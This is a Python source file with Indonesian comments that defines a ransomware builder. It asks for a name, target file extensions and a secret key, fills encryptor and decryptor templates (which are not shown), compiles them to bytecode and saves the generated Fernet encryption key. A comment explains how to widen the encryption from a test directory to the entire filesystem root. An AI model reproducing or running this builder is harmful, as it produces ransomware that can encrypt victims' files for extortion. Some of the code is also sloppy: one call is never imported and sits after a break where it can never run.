Ransomware.py

import functools
import hashlib
import os
import py_compile
import re
import shutil
import time
from cryptography.fernet import Fernet
from etc.strings.id_ID import *
from termcolor import cprint, colored
from utilities.Utility import Utility


class Ransomware():
    __tmp_dir      = '.tmp/'
    __build_dir    = 'build/ransomware/files'
    __key_dir_name = 'build/ransomware/keys'

    def __init__(self, name=None, extension=None, secret_key=None, target_ext=None):
        '''
            Instansiasi class RansomwarePy.

            Args:
                name: __name
                extension: __extension
                target_ext: __target_ext
                secret_key: __secret_key

            Attributes:
                __name:str: Nama dari Ransomware
                __extension:str: Ekstensi dari file yang terenkripsi oleh Ransomware
                __target_ext:str: Ekstensi dari target yang akan dienkripsi
                __secret_key:str: Karakter acak yang akan disisipkan kepada file terenkripsi
        '''

        self.__name           = name
        self.__extension      = extension
        self.__target_ext     = Utility.getListOfString(target_ext)
        self.__secret_key     = secret_key
        self.__encryption_key = Fernet.generate_key().decode()
        self.__tmp_file_names = self.__generateTmpFiles()
        self.__save_source    = False

        # atur nama bila nama berisi None.
        if not self.__name:
            cprint(RW_NAME_IS_NONE, 'red')
            self.__name = self.getRWName()


    def save(self):
        '''
            Save this Ransomware (key, and file)
            
            Args: -
        '''

        # memotong nama ransomware unutk digunakan sebagai ekstensi jika ekstensi tidak diatur.
        if not self.__extension:
            self.__extension = self.__name[:10]

        self.__generateRW()


    @classmethod
    def getRWName(cls):
        '''
            Get Ransomware name from user input.
            Args: -
        '''
        # pattern = r'^[a-zA-Z_]+[0-9a-zA-Z_]*$'
        while True:
            name = input(RW_NAME_PROMPT).strip().lower()

            if not name:
                cprint(RW_NAME_IS_EMPTY, 'red')
                continue

            elif not name.isidentifier():
                cprint(RW_NAME_N_VALID, 'red')
                print(RW_NAME_REQST)
                continue

            elif len(name) < 3:
                cprint(RW_NAME_LT_N, 'red')
                continue
            break

        return name


    @classmethod
    def getRWExtension(cls):
        '''
            Mengambil input dari user untuk ekstensi file yang terenkripsi.

            Args: -
        '''

        extension = None
        set_extension = input(SET_EF_EXTENSION).strip().lower() == 'y'

        if not set_extension:
            cprint(EF_EXT_SET_NONE, 'yellow')

        while set_extension:
            extension = input(EF_EXT_PROMPT).strip().lower()

            if not extension:
                cprint(EF_EXT_IS_EMPTY, 'red')
                continue

            elif extension == 'cancel':
                cprint(EF_EXT_SET_NONE, 'yellow')
                break
            break

        return extension


    @classmethod
    def getRWSecretKey(cls):
        '''
            Mengambil input dari user untuk secret key.

            Args: -
        '''

        secret_key = None
        set_secret_key = input(SET_SKEY).strip().lower() == 'y'

        if not set_secret_key:
            cprint(SKEY_SET_NONE, 'yellow')

        while set_secret_key:
            secret_key = input(SKEY_PROMPT)

            if not secret_key:
                cprint(SKEY_IS_EMPTY, 'red')
                continue

            elif secret_key == 'cancel':
                cprint(SKEY_SET_NONE, 'yellow')
                break
            break

        return secret_key


    @classmethod
    def getRWTargetExt(cls):
        '''
            Mengambil input dari user untuk ekstensi target.

            Args: -
        '''

        target_ext = ''
        set_target_ext = input(SET_T_EXT_PROMPT).strip().lower() == 'y'

        if not set_target_ext:
            cprint(T_EXT_SET_NONE, 'yellow')

        while set_target_ext:
            target_ext = input(TARGET_EXT_PROMPT).strip().lower()

            if not target_ext:
                cprint(T_EXT_IS_NONE, 'red')
                continue

            elif target_ext == 'cancel':
                cprint(T_EXT_SET_NONE, 'yellow')
                break
            break

        return target_ext.strip(', ')


    def __is_save_with_source(self):
        '''
            Menentukan apakah kode sumber akan disimpan atau tidak.

            Args: -
        '''

        # tangani jika sebelumnya kode sumber sudah diset untuk disimpan (saat merubah nama Ransomware untuk menghindari duplikasi)
        if self.__save_source:
            return self.__save_source

        return input(SAVE_W_SRC_PROMPT).strip().lower() == 'y'


    def __generateRW(self=None):
        '''
            Menggenerasi File Ransomware.

            Args: -
        '''

        # tampilkan exception jika method dipanggil dari kelas.
        if not self:
            raise Exception(RW_BUILDER_NOBJ)

        # buat direktori jika belum ada.
        Utility.createDirIfNotExist('build/ransomware')

        # mengambil struktur file untuk menghasilkan file Ransomware.
        encryptor = self.__compile('template/encryptor.tm')
        decryptor = self.__compile('template/decryptor.tm')

        self.__createRWFile(encryptor=encryptor, decryptor=decryptor) # buat file Ransomware.
        self.__saveEncryptionKey() # simpan key kedalam file.


    def __compile(self, file_):
        '''
            Compile variable untuk file Ransomware.

            Args: -
        '''

        file_ = Utility.readFile(file=file_, flag='r')
        file_ = self.__compileVariables(file_, self.variables)

        return file_


    def __createRWFile(self, encryptor, decryptor):
        '''
            Membuat file Ransomware.

            Args:
                value:str: Isi dari file ransomware.
        '''

        Utility.createDirIfNotExist(self.__tmp_dir)

        while True:
            # value = self.__compile()

            Utility.createFileIfNotExist(self.__tmp_file_names['encryptor'], encryptor)
            Utility.createFileIfNotExist(self.__tmp_file_names['decryptor'], decryptor)

            # handle jika Ransomware dengan nama yang sama sudah dibuat sebelumnya.
            if not os.path.isdir(self.file_dir):
                Utility.createDirIfNotExist(self.file_dir)
                self.__generateFile(FILE_CREATED)
                break

            else:
                action = input(RW_EXIST.replace('{{file_name}}', self.file_name)).strip().lower()

                # untuk replace.
                if action == 'r':
                    Utility.reCreateDir(self.file_dir)
                    message = colored(REPLACED, 'yellow')
                    self.__generateFile(message=message)
                    break

                # untuk rename.
                elif action == 're':
                    self.__setNewName()
                    continue

                # untuk cancel
                elif action == 'c':
                    cprint(CANCELLED, 'red')
                    break
                    sys.exit(1)


    def __generateFile(self, message=None):
        try:
            # hapus petik docstring dari blok dibawah ini untuk mengaktifkan fitur penyimpanan beserta Source Code.
            save_with_source = False

            if self.__is_save_with_source():
                os.link(self.__tmp_file_names['encryptor'], self.source_path['encryptor'])
                os.link(self.__tmp_file_names['decryptor'], self.source_path['decryptor'])
                save_with_source = True

            py_compile.compile(file=self.__tmp_file_names['encryptor'], cfile=self.compiled_path['encryptor'], doraise=True)
            py_compile.compile(file=self.__tmp_file_names['decryptor'], cfile=self.compiled_path['decryptor'], doraise=True)

            cprint(message, 'green')

            if save_with_source:
                encryptor_src = colored(self.source_path['encryptor'], 'green')
                decryptor_src = colored(self.source_path['decryptor'], 'green')

                cprint(ALERT_SE_FILE.replace('{{path}}', encryptor_src))
                cprint(ALERT_SD_FILE.replace('{{path}}', decryptor_src))

            encryptor_cmp = colored(self.compiled_path['encryptor'], 'green')
            decryptor_cmp = colored(self.compiled_path['decryptor'], 'green')

            cprint(ALERT_E_FILE.replace('{{path}}', encryptor_cmp))
            cprint(ALERT_D_FILE.replace('{{path}}', decryptor_cmp))

            cprint(SUCCESS, 'white', None, ['bold'])
            # os.chmod(self.__compiled_name1)
        except:
            shutil.rmtree(self.file_dir)
            cprint(F_CREATION_FAILED, 'red')

        os.unlink(self.__tmp_file_names['encryptor'])
        os.unlink(self.__tmp_file_names['decryptor'])


    def __setNewName(self):
        '''
            Mengubah nama Ransomware jika Ransomware dengan nama sebelumnya sudah ada.
            
            Args: -
        '''

        self.__name = input(INSERT_NEW_NAME).strip().lower()


    def __compileVariables(self, text, variables):
        '''
            Mengkompilasi variable yang dibutuhkan untuk sebuah file.

            Args:
                text:str: Teks berisi struktur file.
                variables:dict<str>: Dictionary berisi variable-variable yang akan diisi kedalam struktur file / template.
        '''

        pattern             = r'\{\{[a-zA-Z_]+[0-9a-zA-Z_]*\}\}'
        variable_container  = re.findall(pattern, text)


        for c in variable_container:
            text = text.replace(c, variables.get(c.strip('{{}}')))

        return text


    def __saveEncryptionKey(self):
        '''
            Menyimpan key kedalam sebuah file.

            Args: -
        '''

        now             = time.localtime() # waktu dibuat (saat ini)
        rw_name         = Utility.snakeizeFrom(self.__name)  # atur nama file key.
        created_time    = f'#{rw_name}_{now.tm_year}_{now.tm_mon}_{now.tm_mday}_{now.tm_hour}_{now.tm_min}_{now.tm_sec}'
        key_file        = f'#{created_time}\n{self.__encryption_key}'
        key_file_name   = f'{self.__key_dir_name}/{rw_name}.sec'

        Utility.createDirIfNotExist(self.__key_dir_name)  # buat direktori
        Utility.replaceOrCreateFile(key_file_name, key_file)  # buat file


    def __generateTmpName(self):
        '''
            Menggenerasi nama berkas temporary.

            Args: -
        '''

        name = bytes(str(time.time()), encoding="utf-8")
        name = hashlib.sha1(name).hexdigest()

        return name

    def __generateTmpFiles(self):
        '''
            Menggenerasi path berkas temporary.

            Args: -
        '''

        tmp_enc_file = f'ransom_enc_{self.__generateTmpName()}_{Utility.snakeizeFrom(self.__name)}.tmp'
        tmp_dec_file = f'ransom_dec_{self.__generateTmpName()}_{Utility.snakeizeFrom(self.__name)}.tmp'

        tmp_enc_file = os.path.join(self.__tmp_dir, tmp_enc_file)
        tmp_dec_file = os.path.join(self.__tmp_dir, tmp_dec_file)

        return {'encryptor': tmp_enc_file, 'decryptor': tmp_dec_file}


    # name property.
    @property
    def name(self):
        pass
    @name.getter
    def name(self):
        return self.__name


    # extension property.
    @property
    def extension(self):
        pass
    @extension.getter
    def extension(self):
        return self.__extension


    # secret_key property.
    @property
    def secret_key(self):
        pass
    @secret_key.getter
    def secret_key(self):
        return self.__secret_key


    # file_name property.
    @property
    def file_name(self):
        pass
    @file_name.getter
    def file_name(self):
        return Utility.snakeizeFrom(self.__name)


    # file_dir property.
    @property
    def file_dir(self):
        pass
    @file_dir.getter
    def file_dir(self):
        return os.path.join(self.__build_dir, self.file_name)


    # source_path property.
    @property
    def source_path(self):
        pass
    @source_path.getter
    def source_path(self):
        return {
            'encryptor': os.path.join(self.file_dir, self.file_name + '_e_lib.py'),
            'decryptor': os.path.join(self.file_dir, self.file_name + '_d_lib.py'),
        }


    # compiled_path property.
    @property
    def compiled_path(self):
        pass
    @compiled_path.getter
    def compiled_path(self):
        return {
            'encryptor': os.path.join(self.file_dir, self.file_name + '_e_lib.pyc'),
            'decryptor': os.path.join(self.file_dir, self.file_name + '_d_lib.pyc'),
        }


    # variables property.
    @property
    def variables(self):
        pass
    @variables.getter
    def variables(self):
        # ubah variable root_path menjadi '/' jika anda ingin seluruh berkas dienkripsi dari akar sistem.

        # demi keamanan, untuk pengujian, berkas yang akan dienkripsi hanya berkas yang berada di direktori TEST_RW
        root_path = 'TEST_RW'
        return {
            'name'              : f"'{self.__name}'",
            'class_name'        : Utility.capitalizeFrom(self.__name),
            'object_name'       : Utility.snakeizeFrom(self.__name),
            'secret_key'        : f"b'{self.__secret_key}'" if self.__secret_key else str(None),
            'root_path'         : f"'{root_path}'",
            'target_extension'  : str(self.__target_ext) if self.__target_ext else str(None),
            'extension'         : f"'{self.__extension}'",
            'key'               : f"b'{self.__encryption_key}'",
        }